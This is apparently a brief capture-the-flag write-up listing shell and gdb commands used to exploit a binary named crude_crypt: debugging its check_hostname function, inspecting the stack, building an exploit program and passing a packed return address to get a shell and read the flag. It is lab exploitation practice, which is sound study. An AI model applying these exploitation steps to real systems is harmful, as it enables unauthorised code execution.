# cd /home/crudecrypt
# cat crude_crypt.c
# echo 'test' > ~/plain.txt
$ ./crude_crypt encrypt ~/plain.txt ~/encrypted.txt
# gdb ./crude_crypt
(gdb) disassemble check_hostname
(gdb) b *0x08048e2b
(gdb) run decrypt ~/encrypted.txt ~/decrypted.txt
(gdb) bt
(gdb) x/24xw $esp
# cat ~/crude_xplt.c
# gcc -m32 -std=c99 -o ~/crude_xplt ~/crude_xplt.c -lmcrypt -lcrypto
# ~/crude_xplt ~/plain.txt ~/encrypted.txt `python -c 'print "\xe0\xd4\xff\xff"'`
# (echo "test"; cat) | ./crude_crypt decrypt ~/encrypted.txt ~/decrypted.txt
cat flag.txt
[ * ] Done by sha0 and t0n1
No comments:
Post a Comment